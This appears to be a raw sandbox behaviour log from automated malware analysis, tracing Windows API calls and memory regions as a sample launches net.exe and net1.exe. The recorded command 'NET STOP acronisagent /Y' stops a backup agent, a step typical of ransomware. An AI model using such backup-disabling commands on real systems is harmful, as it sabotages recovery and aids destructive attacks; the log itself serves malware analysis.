_wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.031] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.031] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0037.032] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP acronisagent /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3bf658*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP acronisagent /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3bf6a4 | out: lpCommandLine="NET STOP acronisagent /Y", lpProcessInformation=0x3bf6a4*(hProcess=0x7c, hThread=0x78, dwProcessId=0xa90, dwThreadId=0xa94)) returned 1 [0037.038] CloseHandle (hObject=0x78) returned 1 [0037.038] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0037.038] GetEnvironmentStringsW () returned 0x794db8* [0037.038] FreeEnvironmentStringsW (penv=0x794db8) returned 1 [0037.038] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0038.308] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x3bf598 | out: lpExitCode=0x3bf598*=0x2) returned 1 [0038.308] CloseHandle (hObject=0x7c) returned 1 [0038.308] _vsnwprintf (in: _Buffer=0x3bf6e0, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bf5a4 | out: _Buffer="00000002") returned 8 [0038.308] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0038.308] GetEnvironmentStringsW () returned 0x792b18* [0038.308] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0038.308] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0038.308] GetEnvironmentStringsW () returned 0x792b18* [0038.308] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0038.308] DeleteProcThreadAttributeList (in: lpAttributeList=0x3bf5fc | out: lpAttributeList=0x3bf5fc) [0038.308] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.308] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.309] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.309] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7741ac | out: lpMode=0x4a7741ac) returned 1 [0038.309] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.309] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7741b0 | out: lpMode=0x4a7741b0) returned 1 [0038.309] SetConsoleInputExeNameW () returned 0x1 [0038.309] GetConsoleOutputCP () returned 0x1b5 [0038.309] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a774260 | out: lpCPInfo=0x4a774260) returned 1 [0038.309] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.309] exit (_Code=2) Process: id = "12" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4cec5000" os_pid = "0xa90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xa78" cmd_line = "NET STOP acronisagent /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 693 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 694 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 695 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 696 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 697 start_va = 0xd0000 end_va = 0xd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 698 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 699 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 700 start_va = 0x630000 end_va = 0x647fff entry_point = 0x630000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 701 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 702 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 703 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 704 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 705 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 706 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 707 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 708 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 709 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 710 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 711 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 712 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 713 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 714 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 715 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 716 start_va = 0x190000 end_va = 0x1f6fff entry_point = 0x190000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 717 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 718 start_va = 0x510000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 719 start_va = 0x751e0000 end_va = 0x751fbfff entry_point = 0x751e0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 720 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 721 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 722 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 723 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 724 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 725 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 726 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 727 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 728 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 729 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 730 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 731 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 732 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 733 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 734 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 735 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 736 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 737 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 738 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 739 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 13 os_tid = 0xa94 Process: id = "13" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4cbc6000" os_pid = "0xa98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xa90" cmd_line = "C:\\Windows\\system32\\net1 STOP acronisagent /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 740 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 741 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 742 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 743 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 744 start_va = 0xd0000 end_va = 0xd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 745 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 746 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 747 start_va = 0xff0000 end_va = 0x1019fff entry_point = 0xff0000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 748 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 749 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 750 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 751 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 752 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 753 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 754 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 755 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 756 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 757 start_va = 0x2b0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 758 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 759 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 760 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 761 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 762 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 763 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 764 start_va = 0x3f0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 765 start_va = 0x650000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 766 start_va = 0x75130000 end_va = 0x75147fff entry_point = 0x75130000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 767 start_va = 0x75150000 end_va = 0x75161fff entry_point = 0x75150000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 768 start_va = 0x75170000 end_va = 0x75180fff entry_point = 0x75170000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 769 start_va = 0x75190000 end_va = 0x751b1fff entry_point = 0x75190000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 770 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 771 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 772 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 773 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 774 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 775 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 776 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 777 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 778 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 779 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 780 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 781 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 782 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 783 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 784 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 785 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 786 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 787 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 788 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 789 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 790 start_va = 0x751d0000 end_va = 0x751d1fff entry_point = 0x751d0000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 14 os_tid = 0xa9c [0038.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcf89c | out: lpSystemTimeAsFileTime=0xcf89c*(dwLowDateTime=0xd802cfa0, dwHighDateTime=0x1d4abdd)) [0038.280] GetCurrentProcessId () returned 0xa98 [0038.280] GetCurrentThreadId () returned 0xa9c [0038.280] GetTickCount () returned 0x19bf0 [0038.280] QueryPerformanceCounter (in: lpPerformanceCount=0xcf894 | out: lpPerformanceCount=0xcf894*=1811351000000) returned 1 [0038.280] GetModuleHandleA (lpModuleName=0x0) returned 0xff0000 [0038.280] __set_app_type (_Type=0x1) [0038.280] __p__fmode () returned 0x75ed31f4 [0038.280] __p__commode () returned 0x75ed31fc [0038.280] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffffe6) returned 0x0 [0038.280] __getmainargs (in: _Argc=0x1009064, _Argv=0x100906c, _Env=0x1009068, _DoWildCard=0, _StartInfo=0x1009024 | out: _Argc=0x1009064, _Argv=0x100906c, _Env=0x1009068) returned 0 [0038.280] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.280] GetConsoleOutputCP () returned 0x1b5 [0038.280] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x1009080 | out: lpCPInfo=0x1009080) returned 1 [0038.281] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.284] sprintf_s (in: _DstBuf=0xcf854, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0038.284] setlocale (category=0, locale=".437") returned="English_United States.437" [0038.286] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.286] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.286] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP acronisagent /Y" [0038.286] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcf620, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0038.286] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0038.286] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0xcf824 | out: Buffer=0xcf824*=0x401c08) returned 0x0 [0038.286] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0xcf824 | out: Buffer=0xcf824*=0x401c20) returned 0x0 [0038.286] _fileno (_File=0x75ed2900) returned 0 [0038.286] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0038.286] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0038.286] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0038.286] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0038.286] 